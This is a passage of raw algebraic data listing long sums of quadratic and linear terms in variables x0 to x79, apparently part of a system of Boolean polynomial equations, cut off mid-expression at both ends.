x6*x9 + x6*x12 + x6*x13 + x6*x14 + x6*x17 + x6*x18 + x6*x23 + x6*x24 + x6*x26 + x6*x27 + x6*x30 + x6*x31 + x6*x33 + x6*x35 + x6*x36 + x6*x37 + x6*x38 + x6*x41 + x6*x43 + x6*x46 + x6*x49 + x6*x50 + x6*x51 + x6*x52 + x6*x56 + x6*x62 + x6*x63 + x6*x64 + x6*x65 + x6*x68 + x6*x69 + x6*x75 + x6*x77 + x6*x78 + x7*x9 + x7*x10 + x7*x11 + x7*x13 + x7*x14 + x7*x16 + x7*x17 + x7*x19 + x7*x20 + x7*x22 + x7*x23 + x7*x26 + x7*x28 + x7*x29 + x7*x30 + x7*x33 + x7*x35 + x7*x36 + x7*x37 + x7*x38 + x7*x39 + x7*x42 + x7*x44 + x7*x45 + x7*x46 + x7*x48 + x7*x49 + x7*x51 + x7*x52 + x7*x53 + x7*x54 + x7*x55 + x7*x56 + x7*x60 + x7*x61 + x7*x63 + x7*x64 + x7*x65 + x7*x70 + x7*x71 + x7*x72 + x7*x74 + x7*x75 + x7*x76 + x7*x77 + x7*x78 + x7 + x8*x9 + x8*x10 + x8*x19 + x8*x20 + x8*x22 + x8*x24 + x8*x25 + x8*x26 + x8*x28 + x8*x30 + x8*x36 + x8*x38 + x8*x40 + x8*x42 + x8*x43 + x8*x44 + x8*x45 + x8*x46 + x8*x52 + x8*x54 + x8*x55 + x8*x58 + x8*x59 + x8*x61 + x8*x62 + x8*x66 + x8*x67 + x8*x68 + x8*x70 + x8*x72 + x8*x73 + x8*x76 + x9*x11 + x9*x12 + x9*x13 + x9*x15 + x9*x17 + x9*x22 + x9*x23 + x9*x24 + x9*x27 + x9*x30 + x9*x36 + x9*x38 + x9*x39 + x9*x40 + x9*x41 + x9*x45 + x9*x47 + x9*x49 + x9*x52 + x9*x55 + x9*x59 + x9*x62 + x9*x63 + x9*x64 + x9*x65 + x9*x67 + x9*x68 + x9*x69 + x9*x70 + x9*x72 + x9*x73 + x9*x75 + x9*x78 + x9 + x10*x12 + x10*x14 + x10*x19 + x10*x21 + x10*x22 + x10*x24 + x10*x27 + x10*x29 + x10*x31 + x10*x34 + x10*x35 + x10*x36 + x10*x37 + x10*x41 + x10*x43 + x10*x46 + x10*x48 + x10*x49 + x10*x57 + x10*x60 + x10*x61 + x10*x62 + x10*x64 + x10*x65 + x10*x66 + x10*x73 + x10*x78 + x10*x79 + x11*x12 + x11*x15 + x11*x16 + x11*x18 + x11*x19 + x11*x21 + x11*x25 + x11*x29 + x11*x32 + x11*x33 + x11*x35 + x11*x36 + x11*x38 + x11*x39 + x11*x41 + x11*x42 + x11*x47 + x11*x50 + x11*x53 + x11*x57 + x11*x58 + x11*x60 + x11*x62 + x11*x63 + x11*x65 + x11*x66 + x11*x71 + x11*x72 + x11*x77 + x11*x78 + x11*x79 + x12*x13 + x12*x14 + x12*x16 + x12*x22 + x12*x24 + x12*x25 + x12*x27 + x12*x29 + x12*x30 + x12*x31 + x12*x32 + x12*x33 + x12*x34 + x12*x40 + x12*x43 + x12*x45 + x12*x47 + x12*x48 + x12*x50 + x12*x51 + x12*x53 + x12*x55 + x12*x56 + x12*x58 + x12*x61 + x12*x62 + x12*x63 + x12*x64 + x12*x71 + x12*x76 + x12*x78 + x12*x79 + x13*x15 + x13*x16 + x13*x17 + x13*x20 + x13*x21 + x13*x26 + x13*x29 + x13*x30 + x13*x33 + x13*x34 + x13*x36 + x13*x37 + x13*x39 + x13*x40 + x13*x41 + x13*x43 + x13*x44 + x13*x48 + x13*x49 + x13*x50 + x13*x52 + x13*x53 + x13*x55 + x13*x58 + x13*x59 + x13*x62 + x13*x64 + x13*x67 + x13*x68 + x13*x70 + x13*x77 + x13 + x14*x15 + x14*x17 + x14*x19 + x14*x24 + x14*x30 + x14*x31 + x14*x32 + x14*x33 + x14*x35 + x14*x41 + x14*x42 + x14*x44 + x14*x45 + x14*x47 + x14*x48 + x14*x49 + x14*x51 + x14*x53 + x14*x54 + x14*x55 + x14*x56 + x14*x58 + x14*x59 + x14*x60 + x14*x63 + x14*x67 + x14*x69 + x14*x72 + x14*x73 + x14*x77 + x14*x78 + x15*x17 + x15*x19 + x15*x20 + x15*x24 + x15*x26 + x15*x29 + x15*x30 + x15*x32 + x15*x33 + x15*x35 + x15*x36 + x15*x37 + x15*x38 + x15*x39 + x15*x40 + x15*x41 + x15*x43 + x15*x45 + x15*x46 + x15*x47 + x15*x49 + x15*x50 + x15*x52 + x15*x53 + x15*x54 + x15*x55 + x15*x59 + x15*x60 + x15*x63 + x15*x65 + x15*x66 + x15*x67 + x15*x70 + x15*x72 + x15*x73 + x15*x74 + x15*x75 + x15*x76 + x15*x78 + x15*x79 + x16*x18 + x16*x19 + x16*x21 + x16*x25 + x16*x26 + x16*x28 + x16*x30 + x16*x34 + x16*x36 + x16*x39 + x16*x41 + x16*x42 + x16*x43 + x16*x44 + x16*x45 + x16*x47 + x16*x48 + x16*x49 + x16*x51 + x16*x53 + x16*x55 + x16*x56 + x16*x59 + x16*x60 + x16*x64 + x16*x66 + x16*x71 + x16*x72 + x16*x75 + x17*x18 + x17*x19 + x17*x20 + x17*x21 + x17*x22 + x17*x24 + x17*x25 + x17*x26 + x17*x27 + x17*x28 + x17*x29 + x17*x30 + x17*x31 + x17*x36 + x17*x37 + x17*x38 + x17*x39 + x17*x40 + x17*x41 + x17*x42 + x17*x44 + x17*x45 + x17*x46 + x17*x47 + x17*x49 + x17*x52 + x17*x53 + x17*x54 + x17*x55 + x17*x57 + x17*x59 + x17*x62 + x17*x63 + x17*x64 + x17*x66 + x17*x68 + x17*x70 + x17*x73 + x17*x74 + x17*x77 + x17*x79 + x17 + x18*x19 + x18*x20 + x18*x22 + x18*x24 + x18*x26 + x18*x27 + x18*x28 + x18*x29 + x18*x30 + x18*x31 + x18*x32 + x18*x34 + x18*x35 + x18*x37 + x18*x38 + x18*x39 + x18*x40 + x18*x41 + x18*x42 + x18*x44 + x18*x45 + x18*x46 + x18*x49 + x18*x51 + x18*x53 + x18*x54 + x18*x56 + x18*x60 + x18*x61 + x18*x63 + x18*x66 + x18*x67 + x18*x68 + x18*x69 + x18*x75 + x18*x76 + x18*x77 + x18*x78 + x19*x20 + x19*x22 + x19*x28 + x19*x29 + x19*x30 + x19*x33 + x19*x35 + x19*x37 + x19*x40 + x19*x41 + x19*x45 + x19*x46 + x19*x47 + x19*x48 + x19*x52 + x19*x53 + x19*x59 + x19*x64 + x19*x67 + x19*x68 + x19*x69 + x19*x72 + x19*x73 + x19*x76 + x19*x77 + x19 + x20*x24 + x20*x26 + x20*x29 + x20*x30 + x20*x33 + x20*x34 + x20*x38 + x20*x39 + x20*x40 + x20*x43 + x20*x45 + x20*x46 + x20*x47 + x20*x50 + x20*x51 + x20*x53 + x20*x56 + x20*x57 + x20*x62 + x20*x66 + x20*x67 + x20*x68 + x20*x69 + x20*x70 + x20*x71 + x20*x73 + x20*x75 + x20*x79 + x20 + x21*x24 + x21*x27 + x21*x30 + x21*x32 + x21*x33 + x21*x34 + x21*x35 + x21*x36 + x21*x40 + x21*x41 + x21*x42 + x21*x45 + x21*x46 + x21*x48 + x21*x49 + x21*x51 + x21*x52 + x21*x53 + x21*x54 + x21*x55 + x21*x57 + x21*x58 + x21*x60 + x21*x62 + x21*x63 + x21*x66 + x21*x68 + x21*x70 + x21*x71 + x21*x72 + x21*x73 + x21*x76 + x21*x78 + x22*x24 + x22*x27 + x22*x29 + x22*x33 + x22*x34 + x22*x35 + x22*x36 + x22*x40 + x22*x42 + x22*x43 + x22*x45 + x22*x50 + x22*x52 + x22*x53 + x22*x54 + x22*x57 + x22*x58 + x22*x60 + x22*x61 + x22*x64 + x22*x65 + x22*x66 + x22*x67 + x22*x68 + x22*x69 + x22*x70 + x22*x72 + x22*x78 + x22*x79 + x23*x24 + x23*x25 + x23*x26 + x23*x27 + x23*x28 + x23*x29 + x23*x30 + x23*x32 + x23*x33 + x23*x35 + x23*x36 + x23*x37 + x23*x40 + x23*x42 + x23*x43 + x23*x44 + x23*x45 + x23*x50 + x23*x51 + x23*x52 + x23*x53 + x23*x54 + x23*x58 + x23*x59 + x23*x61 + x23*x62 + x23*x65 + x23*x66 + x23*x67 + x23*x69 + x23*x70 + x23*x73 + x23*x75 + x23*x76 + x23*x77 + x23*x78 + x23 + x24*x26 + x24*x27 + x24*x28 + x24*x30 + x24*x37 + x24*x40 + x24*x41 + x24*x43 + x24*x47 + x24*x48 + x24*x53 + x24*x60 + x24*x61 + x24*x63 + x24*x65 + x24*x68 + x24*x71 + x24*x72 + x24*x74 + x24*x75 + x24*x76 + x24*x77 + x24*x78 + x24*x79 + x24 + x25*x27 + x25*x31 + x25*x35 + x25*x38 + x25*x42 + x25*x43 + x25*x44 + x25*x46 + x25*x47 + x25*x50 + x25*x51 + x25*x52 + x25*x53 + x25*x59 + x25*x60 + x25*x61 + x25*x62 + x25*x64 + x25*x66 + x25*x67 + x25*x70 + x25*x71 + x25*x73 + x25*x74 + x25*x75 + x25*x77 + x25*x78 + x25 + x26*x29 + x26*x30 + x26*x32 + x26*x33 + x26*x34 + x26*x35 + x26*x36 + x26*x37 + x26*x39 + x26*x41 + x26*x44 + x26*x46 + x26*x49 + x26*x53 + x26*x54 + x26*x56 + x26*x57 + x26*x60 + x26*x61 + x26*x64 + x26*x65 + x26*x67 + x26*x68 + x26*x70 + x26*x71 + x26*x73 + x26*x74 + x26*x75 + x26*x76 + x26*x77 + x26*x78 + x26 + x27*x28 + x27*x29 + x27*x30 + x27*x34 + x27*x39 + x27*x40 + x27*x42 + x27*x43 + x27*x44 + x27*x46 + x27*x47 + x27*x50 + x27*x53 + x27*x54 + x27*x57 + x27*x58 + x27*x59 + x27*x61 + x27*x62 + x27*x63 + x27*x64 + x27*x66 + x27*x68 + x27*x70 + x27*x71 + x27*x75 + x27*x79 + x28*x29 + x28*x31 + x28*x32 + x28*x33 + x28*x34 + x28*x37 + x28*x44 + x28*x48 + x28*x50 + x28*x52 + x28*x53 + x28*x58 + x28*x60 + x28*x61 + x28*x63 + x28*x68 + x28*x74 + x28*x75 + x28*x76 + x28*x77 + x28*x78 + x29*x30 + x29*x32 + x29*x33 + x29*x36 + x29*x40 + x29*x42 + x29*x44 + x29*x46 + x29*x48 + x29*x52 + x29*x54 + x29*x56 + x29*x58 + x29*x60 + x29*x61 + x29*x63 + x29*x64 + x29*x68 + x29*x69 + x29*x72 + x29*x73 + x29*x74 + x29*x77 + x29*x78 + x30*x38 + x30*x39 + x30*x41 + x30*x42 + x30*x43 + x30*x45 + x30*x49 + x30*x54 + x30*x57 + x30*x58 + x30*x59 + x30*x60 + x30*x61 + x30*x63 + x30*x65 + x30*x66 + x30*x69 + x30*x70 + x30*x71 + x30*x73 + x30*x74 + x30*x75 + x30*x76 + x30*x77 + x30*x78 + x30*x79 + x31*x32 + x31*x35 + x31*x36 + x31*x39 + x31*x42 + x31*x43 + x31*x46 + x31*x48 + x31*x49 + x31*x50 + x31*x51 + x31*x52 + x31*x55 + x31*x57 + x31*x59 + x31*x60 + x31*x61 + x31*x62 + x31*x64 + x31*x65 + x31*x66 + x31*x67 + x31*x69 + x31*x70 + x31*x72 + x31*x75 + x31*x78 + x31*x79 + x32*x34 + x32*x35 + x32*x36 + x32*x37 + x32*x38 + x32*x40 + x32*x41 + x32*x42 + x32*x43 + x32*x44 + x32*x45 + x32*x46 + x32*x47 + x32*x48 + x32*x51 + x32*x52 + x32*x54 + x32*x55 + x32*x58 + x32*x59 + x32*x60 + x32*x61 + x32*x63 + x32*x65 + x32*x67 + x32*x71 + x32*x75 + x32*x76 + x32*x77 + x32*x78 + x33*x37 + x33*x41 + x33*x42 + x33*x47 + x33*x48 + x33*x49 + x33*x52 + x33*x53 + x33*x55 + x33*x56 + x33*x58 + x33*x60 + x33*x64 + x33*x66 + x33*x67 + x33*x68 + x33*x69 + x33*x70 + x33*x71 + x33*x72 + x33*x75 + x33*x76 + x33*x77 + x33*x78 + x33 + x34*x39 + x34*x40 + x34*x42 + x34*x44 + x34*x52 + x34*x53 + x34*x54 + x34*x55 + x34*x56 + x34*x58 + x34*x59 + x34*x60 + x34*x61 + x34*x63 + x34*x64 + x34*x65 + x34*x69 + x34*x72 + x34*x74 + x34*x75 + x34*x79 + x35*x37 + x35*x39 + x35*x40 + x35*x42 + x35*x44 + x35*x45 + x35*x46 + x35*x50 + x35*x53 + x35*x54 + x35*x55 + x35*x58 + x35*x61 + x35*x64 + x35*x65 + x35*x66 + x35*x68 + x35*x69 + x35*x70 + x35*x73 + x35*x74 + x35*x75 + x35*x77 + x35*x78 + x35*x79 + x35 + x36*x38 + x36*x40 + x36*x42 + x36*x43 + x36*x44 + x36*x46 + x36*x51 + x36*x52 + x36*x53 + x36*x58 + x36*x59 + x36*x60 + x36*x61 + x36*x62 + x36*x63 + x36*x65 + x36*x67 + x36*x70 + x36*x71 + x36*x72 + x36*x73 + x36*x75 + x36*x77 + x36*x79 + x36 + x37*x43 + x37*x44 + x37*x45 + x37*x46 + x37*x48 + x37*x49 + x37*x51 + x37*x53 + x37*x54 + x37*x55 + x37*x56 + x37*x58 + x37*x61 + x37*x62 + x37*x64 + x37*x65 + x37*x69 + x37*x71 + x37*x72 + x37*x74 + x37*x76 + x37*x79 + x37 + x38*x39 + x38*x42 + x38*x48 + x38*x55 + x38*x56 + x38*x57 + x38*x60 + x38*x61 + x38*x63 + x38*x65 + x38*x66 + x38*x67 + x38*x68 + x38*x69 + x38*x70 + x38*x72 + x38*x74 + x39*x40 + x39*x41 + x39*x42 + x39*x44 + x39*x46 + x39*x51 + x39*x52 + x39*x62 + x39*x64 + x39*x66 + x39*x69 + x39*x73 + x39*x74 + x40*x43 + x40*x45 + x40*x46 + x40*x50 + x40*x51 + x40*x52 + x40*x54 + x40*x56 + x40*x58 + x40*x59 + x40*x62 + x40*x63 + x40*x65 + x40*x67 + x40*x68 + x40*x69 + x40*x71 + x40*x73 + x40*x74 + x40*x75 + x40*x76 + x40*x78 + x41*x43 + x41*x44 + x41*x49 + x41*x50 + x41*x54 + x41*x55 + x41*x58 + x41*x59 + x41*x61 + x41*x62 + x41*x66 + x41*x67 + x41*x71 + x41*x72 + x41*x73 + x41*x76 + x41*x78 + x41 + x42*x44 + x42*x45 + x42*x50 + x42*x52 + x42*x53 + x42*x56 + x42*x58 + x42*x60 + x42*x64 + x42*x66 + x42*x67 + x42*x68 + x42*x69 + x42*x70 + x42*x73 + x42*x76 + x42*x77 + x42*x78 + x42 + x43*x46 + x43*x48 + x43*x49 + x43*x50 + x43*x52 + x43*x54 + x43*x56 + x43*x57 + x43*x58 + x43*x59 + x43*x61 + x43*x62 + x43*x63 + x43*x66 + x43*x67 + x43*x69 + x43*x71 + x43*x72 + x43*x73 + x43*x75 + x43*x77 + x43*x78 + x44*x46 + x44*x49 + x44*x50 + x44*x51 + x44*x52 + x44*x53 + x44*x55 + x44*x56 + x44*x58 + x44*x59 + x44*x60 + x44*x61 + x44*x64 + x44*x65 + x44*x66 + x44*x68 + x44*x70 + x44*x71 + x44*x72 + x44 + x45*x46 + x45*x47 + x45*x51 + x45*x53 + x45*x54 + x45*x55 + x45*x56 + x45*x58 + x45*x61 + x45*x62 + x45*x65 + x45*x67 + x45*x68 + x45*x70 + x45*x72 + x45*x73 + x45*x76 + x45*x77 + x45 + x46*x47 + x46*x49 + x46*x50 + x46*x51 + x46*x52 + x46*x53 + x46*x54 + x46*x57 + x46*x58 + x46*x60 + x46*x62 + x46*x64 + x46*x65 + x46*x66 + x46*x67 + x46*x68 + x46*x70 + x46*x71 + x46*x75 + x46*x77 + x46 + x47*x48 + x47*x50 + x47*x51 + x47*x55 + x47*x60 + x47*x64 + x47*x68 + x47*x71 + x47*x72 + x47*x73 + x47*x74 + x47*x75 + x47*x78 + x47 + x48*x49 + x48*x50 + x48*x51 + x48*x52 + x48*x55 + x48*x56 + x48*x57 + x48*x58 + x48*x59 + x48*x60 + x48*x63 + x48*x64 + x48*x68 + x48*x69 + x48*x71 + x48*x72 + x48*x73 + x48*x75 + x48*x76 + x48*x78 + x48 + x49*x50 + x49*x51 + x49*x52 + x49*x53 + x49*x54 + x49*x57 + x49*x58 + x49*x60 + x49*x61 + x49*x62 + x49*x63 + x49*x64 + x49*x67 + x49*x69 + x49*x72 + x49*x73 + x49*x76 + x49*x79 + x49 + x50*x54 + x50*x59 + x50*x60 + x50*x63 + x50*x65 + x50*x66 + x50*x67 + x50*x68 + x50*x70 + x50*x71 + x50*x72 + x50*x73 + x50*x74 + x50*x75 + x50*x79 + x50 + x51*x53 + x51*x55 + x51*x56 + x51*x61 + x51*x62 + x51*x71 + x51*x72 + x51*x74 + x51*x77 + x51*x79 + x52*x53 + x52*x60 + x52*x61 + x52*x63 + x52*x64 + x52*x65 + x52*x70 + x52*x71 + x52*x75 + x52*x76 + x52*x78 + x52*x79 + x52 + x53*x60 + x53*x65 + x53*x67 + x53*x70 + x53*x71 + x53*x72 + x53*x75 + x53*x76 + x54*x55 + x54*x60 + x54*x62 + x54*x63 + x54*x64 + x54*x65 + x54*x66 + x54*x67 + x54*x69 + x54*x71 + x54*x72 + x54*x73 + x54*x76 + x54*x77 + x55*x56 + x55*x60 + x55*x61 + x55*x62 + x55*x63 + x55*x64 + x55*x65 + x55*x70 + x55*x74 + x55*x75 + x55*x76 + x55 + x56*x58 + x56*x61 + x56*x62 + x56*x63 + x56*x65 + x56*x67 + x56*x68 + x56*x70 + x56*x71 + x56*x73 + x56*x75 + x56*x78 + x56 + x57*x64 + x57*x65 + x57*x66 + x57*x68 + x57*x69 + x57*x71 + x57*x75 + x57*x77 + x57*x78 + x58*x59 + x58*x60 + x58*x61 + x58*x62 + x58*x64 + x58*x66 + x58*x67 + x58*x68 + x58*x70 + x58*x72 + x58*x73 + x58*x75 + x58*x78 + x59*x62 + x59*x65 + x59*x67 + x59*x68 + x59*x69 + x59*x70 + x59*x72 + x59*x74 + x59*x75 + x59*x78 + x60*x62 + x60*x65 + x60*x66 + x60*x67 + x60*x69 + x60*x70 + x60*x71 + x60*x78 + x61*x63 + x61*x64 + x61*x66 + x61*x67 + x61*x68 + x61*x69 + x61*x71 + x61*x72 + x61*x76 + x61*x78 + x61*x79 + x62*x63 + x62*x64 + x62*x66 + x62*x71 + x62*x72 + x62*x73 + x62*x75 + x62*x76 + x62*x77 + x62*x78 + x62*x79 + x62 + x63*x65 + x63*x66 + x63*x67 + x63*x68 + x63*x71 + x63*x72 + x63*x73 + x63*x75 + x63*x76 + x63*x78 + x63*x79 + x63 + x64*x65 + x64*x66 + x64*x69 + x64*x70 + x64*x73 + x64*x74 + x64*x75 + x64*x76 + x64*x79 + x65*x69 + x65*x76 + x65 + x66*x67 + x66*x68 + x66*x69 + x66*x70 + x66*x71 + x66*x73 + x66*x75 + x66*x76 + x66*x78 + x67*x69 + x67*x72 + x67*x73 + x67*x74 + x67*x75 + x67*x77 + x67*x79 + x68*x69 + x68*x71 + x68*x72 + x68*x73 + x68*x76 + x68*x78 + x68*x79 + x69*x71 + x69*x72 + x69*x73 + x69*x74 + x69*x75 + x69*x79 + x70*x73 + x70*x75 + x70*x76 + x70*x79 + x71*x74 + x71*x75 + x71 + x72*x74 + x72*x76 + x72*x77 + x72*x78 + x73*x76 + x74*x75 + x74*x77 + x75*x76 + x75*x78 + x75*x79 + x76 + x77*x78 + x77 + x79 + 1, x0*x2 + x0*x3 + x0*x4 + x0*x7 + x0*x8 + x0*x12 + x0*x13 + x0*x15 + x0*x16 + x0*x18 + x0*x19 + x0*x21 + x0*x25 + x0*x26 + x0*x27 + x0*x29 + x0*x30 + x0*x31 + x0*x32 + x0*x36 + x0*x42 + x0*x43 + x0*x46 + x0*x47 + x0*x49 + x0*x53 + x0*x57 + x0*x60 + x0*x63 + x0*x65 + x0*x67 + x0*x68 + x0*x69 + x0*x70 + x0*x72 + x0*x73 + x0*x75 + x0*x76 + x1*x4 + x1*x5 + x1*x6 + x1*x7 + x1*x8 + x1*x10 + x1*x12 + x1*x14 + x1*x15 + x1*x16 + x1*x18 + x1*x19 + x1*x22 + x1*x26 + x1*x27 + x1*x28 + x1*x29 + x1*x31 + x1*x32 + x1*x34 + x1*x36 + x1*x39 + x1*x41 + x1*x42 + x1*x44 + x1*x47 + x1*x50 + x1*x52 + x1*x55 + x1*x58 + x1*x61 + x1*x62 + x1*x63 + x1*x64 + x1*x67 + x1*x70 + x1*x71 + x1*x72 + x1*x74 + x1*x77 + x2*x3 + x2*x5 + x2*x8 + x2*x9 + x2*x13 + x2*x15 + x2*x17 + x2*x18 + x2*x19 + x2*x20 + x2*x25 + x2*x26 + x2*x27 + x2*x28 + x2*x29 + x2*x30 + x2*x31 + x2*x33 + x2*x35 + x2*x38 + x2*x43 + x2*x45 + x2*x48 + x2*x50 + x2*x52 + x2*x56 + x2*x58 + x2*x61 + x2*x65 + x2*x66 + x2*x67 + x2*x69 + x2*x70 + x2*x71 + x2*x72 + x2*x73 + x2*x74 + x2*x77 + x2*x78 + x2*x79 + x3*x4 + x3*x6 + x3*x8 + x3*x9 + x3*x10 + x3*x15 + x3*x18 + x3*x19 + x3*x20 + x3*x21 + x3*x22 + x3*x23 + x3*x24 + x3*x25 + x3*x26 + x3*x27 + x3*x29 + x3*x30 + x3*x31 + x3*x34 + x3*x35 + x3*x37 + x3*x38 + x3*x39 + x3*x41 + x3*x43 + x3*x47 + x3*x50 + x3*x51 + x3*x52 + x3*x53 + x3*x62 + x3*x64 + x3*x65 + x3*x66 + x3*x67 + x3*x69 + x3*x74 + x3*x77 + x3*x78 + x3*x79 + x4*x5 + x4*x6 + x4*x7 + x4*x9 + x4*x10 + x4*x14 + x4*x16 + x4*x19 + x4*x23 + x4*x24 + x4*x25 + x4*x26 + x4*x27 + x4*x28 + x4*x29 + x4*x32 + x4*x33 + x4*x34 + x4*x35 + x4*x43 + x4*x44 + x4*x47 + x4*x48 + x4*x50 + x4*x51 + x4*x56 + x4*x57 + x4*x58 + x4*x59 + x4*x61 + x4*x64 + x4*x65 + x4*x66 + x4*x67 + x4*x70 + x4*x72 + x4*x74 + x4*x76 + x4*x79 + x4 + x5*x6 + x5*x8 + x5*x9 + x5*x10 + x5*x11 + x5*x12 + x5*x15 + x5*x16 + x5*x17 + x5*x20 + x5*x22 + x5*x23 + x5*x25 + x5*x26 + x5*x28 + x5*x30 + x5*x31 + x5*x32 + x5*x35 + x5*x36 + x5*x38 + x5*x40 + x5*x42 + x5*x47 + x5*x51 + x5*x56 + x5*x57 + x5*x59 + x5*x61 + x5*x62 + x5*x63 + x5*x64 + x5*x66 + x5*x67 + x5*x69 + x5*x70 + x5*x73 + x5*x74 + x5*x75 + x5*x76 + x5*x77 + x5*x79 + x6*x7 + x6*x8 + x6*x9 + x6*x11 + x6*x12 + x6*x15 + x6*x17 + x6*x19 + x6*x20 + x6*x22 + x6*x25 + x6*x26 + x6*x28 + x6*x29 + x6*x30 + x6*x31 + x6*x33 + x6*x35 + x6*x36 + x6*x37 + x6*x39 + x6*x40 + x6*x41 + x6*x42 + x6*x44 + x6*x47 + x6*x48 + x6*x50 + x6*x52 + x6*x53 + x6*x55 + x6*x58 + x6*x60 + x6*x62 + x6*x63 + x6*x64 + x6*x65 + x6*x66 + x6*x71 + x6*x77 + x7*x8 + x7*x9 + x7*x11 + x7*x13 + x7*x15 + x7*x19 + x7*x20 + x7*x23 + x7*x24 + x7*x25 + x7*x28 + x7*x29 + x7*x31 + x7*x32 + x7*x36 + x7*x37 + x7*x38 + x7*x40 + x7*x45 + x7*x46 + x7*x51 + x7*x53 + x7*x54 + x7*x56 + x7*x58 + x7*x59 + x7*x61 + x7*x62 + x7*x66 + x7*x67 + x7*x68 + x7*x69 + x7*x75 + x7*x79 + x8*x12 + x8*x14 + x8*x15 + x8*x16 + x8*x21 + x8*x24 + x8*x28 + x8*x30 + x8*x31 + x8*x32 + x8*x34 + x8*x35 + x8*x37 + x8*x40 + x8*x42 + x8*x44 + x8*x45 + x8*x46 + x8*x47 + x8*x48 + x8*x49 + x8*x50 + x8*x52 + x8*x53 + x8*x57 + x8*x58 + x8*x59 + x8*x61 + x8*x63 + x8*x66 + x8*x67 + x8*x69 + x8*x74 + x8*x75 + x8*x76 + x8*x77 + x8*x78 + x8*x79 + x9*x13 + x9*x17 + x9*x20 + x9*x21 + x9*x23 + x9*x24 + x9*x25 + x9*x26 + x9*x29 + x9*x30 + x9*x31 + x9*x33 + x9*x34 + x9*x35 + x9*x37 + x9*x38 + x9*x40 + x9*x41 + x9*x42 + x9*x45 + x9*x46 + x9*x47 + x9*x52 + x9*x53 + x9*x55 + x9*x59 + x9*x60 + x9*x62 + x9*x64 + x9*x65 + x9*x66 + x9*x68 + x9*x69 + x9*x70 + x9*x71 + x9*x72 + x9*x73 + x9*x76 + x9*x78 + x9*x79 + x10*x11 + x10*x13 + x10*x15 + x10*x16 + x10*x18 + x10*x21 + x10*x23 + x10*x24 + x10*x25 + x10*x26 + x10*x29 + x10*x30 + x10*x33 + x10*x35 + x10*x38 + x10*x40 + x10*x41 + x10*x42 + x10*x43 + x10*x44 + x10*x45 + x10*x46 + x10*x48 + x10*x49 + x10*x51 + x10*x52 + x10*x53 + x10*x54 + x10*x63 + x10*x64 + x10*x66 + x10*x68 + x10*x69 + x10*x72 + x10*x74 + x10*x77 + x10*x78 + x10 + x11*x13 + x11*x15 + x11*x18 + x11*x20 + x11*x21 + x11*x22 + x11*x23 + x11*x24 + x11*x26 + x11*x34 + x11*x35 + x11*x40 + x11*x41 + x11*x42 + x11*x44 + x11*x45 + x11*x47 + x11*x48 + x11*x50 + x11*x51 + x11*x54 + x11*x56 + x11*x60 + x11*x61 + x11*x65 + x11*x66 + x11*x67 + x11*x69 + x11*x70 + x11*x72 + x11*x73 + x11*x75 + x11*x76 + x11*x77 + x11*x78 + x11*x79 + x12*x15 + x12*x16 + x12*x17 + x12*x22 + x12*x23 + x12*x24 + x12*x25 + x12*x26 + x12*x27 + x12*x28 + x12*x30 + x12*x31 + x12*x32 + x12*x33 + x12*x36 + x12*x37 + x12*x42 + x12*x44 + x12*x45 + x12*x47 + x12*x50 + x12*x55 + x12*x57 + x12*x58 + x12*x59 + x12*x64 + x12*x66 + x12*x68 + x12*x70 + x12*x72 + x12*x73 + x12*x74 + x12*x75 + x12*x77 + x12*x78 + x12*x79 + x13*x15 + x13*x16 + x13*x17 + x13*x19 + x13*x21 + x13*x23 + x13*x25 + x13*x26 + x13*x27 + x13*x28 + x13*x29 + x13*x30 + x13*x32 + x13*x34 + x13*x38 + x13*x39 + x13*x40 + x13*x41 + x13*x42 + x13*x43 + x13*x44 + x13*x47 + x13*x50 + x13*x52 + x13*x53 + x13*x54 + x13*x55 + x13*x59 + x13*x60 + x13*x61 + x13*x62 + x13*x63 + x13*x65 + x13*x67 + x13*x68 + x13*x72 + x13*x73 + x13*x74 + x13*x76 + x13*x78 + x13*x79 + x14*x15 + x14*x16 + x14*x17 + x14*x19 + x14*x21 + x14*x23 + x14*x24 + x14*x27 + x14*x28 + x14*x29 + x14*x31 + x14*x34 + x14*x39 + x14*x43 + x14*x44 + x14*x47 + x14*x48 + x14*x49 + x14*x55 + x14*x58 + x14*x61 + x14*x64 + x14*x65 + x14*x66 + x14*x67 + x14*x69 + x14*x70 + x14*x71 + x14*x73 + x14*x74 + x14*x75 + x14*x76 + x14*x77 + x14*x78 + x14 + x15*x16 + x15*x20 + x15*x23 + x15*x24 + x15*x27 + x15*x28 + x15*x29 + x15*x32 + x15*x33 + x15*x37 + x15*x39 + x15*x40 + x15*x44 + x15*x45 + x15*x47 + x15*x48 + x15*x49 + x15*x50 + x15*x51 + x15*x52 + x15*x54 + x15*x55 + x15*x57 + x15*x58 + x15*x61 + x15*x62 + x15*x66 + x15*x67 + x15*x69 + x15*x70 + x15*x71 + x15*x73 + x15*x76 + x15*x78 + x15*x79 + x15 + x16*x18 + x16*x19 + x16*x22 + x16*x25 + x16*x26 + x16*x27 + x16*x30 + x16*x31 + x16*x35 + x16*x36 + x16*x37 + x16*x40 + x16*x41 + x16*x42 + x16*x45 + x16*x47 + x16*x49 + x16*x50 + x16*x53 + x16*x56 + x16*x58 + x16*x60 + x16*x61 + x16*x63 + x16*x64 + x16*x65 + x16*x67 + x16*x68 + x16*x71 + x16*x72 + x16*x73 + x16*x75 + x16*x76 + x16*x78 + x16 + x17*x21 + x17*x22 + x17*x24 + x17*x28 + x17*x29 + x17*x33 + x17*x36 + x17*x40 + x17*x42 + x17*x43 + x17*x45 + x17*x47 + x17*x52 + x17*x54 + x17*x56 + x17*x58 + x17*x60 + x17*x61 + x17*x62 + x17*x66 + x17*x68 + x17*x70 + x17*x74 + x17*x75 + x17*x76 + x17*x78 + x18*x20 + x18*x21 + x18*x24 + x18*x25 + x18*x26 + x18*x27 + x18*x28 + x18*x34 + x18*x36 + x18*x42 + x18*x46 + x18*x47 + x18*x50 + x18*x52 + x18*x53 + x18*x55 + x18*x56 + x18*x57 + x18*x61 + x18*x64 + x18*x68 + x18*x70 + x18*x74 + x18*x75 + x18*x76 + x19*x20 + x19*x22 + x19*x24 + x19*x25 + x19*x27 + x19*x28 + x19*x32 + x19*x34 + x19*x35 + x19*x37 + x19*x38 + x19*x40 + x19*x44 + x19*x46 + x19*x47 + x19*x52 + x19*x55 + x19*x56 + x19*x57 + x19*x58 + x19*x59 + x19*x61 + x19*x63 + x19*x65 + x19*x68 + x19*x74 + x19*x75 + x19*x78 + x19*x79 + x20*x23 + x20*x24 + x20*x25 + x20*x27 + x20*x28 + x20*x34 + x20*x35 + x20*x41 + x20*x42 + x20*x45 + x20*x47 + x20*x48 + x20*x50 + x20*x51 + x20*x52 + 